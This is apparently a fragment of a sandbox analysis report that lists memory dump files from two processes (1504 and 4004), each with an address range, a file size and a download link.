  • memory/1504-564-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-566-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-569-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-591-0x00007FFACC790000-0x00007FFACC7A0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1504-593-0x00007FFACC790000-0x00007FFACC7A0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1504-594-0x00007FFACC790000-0x00007FFACC7A0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1504-50-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/4004-60-0x000001AF4C280000-0x000001AF4C2A2000-memory.dmp
    Filesize

    136KB

    Download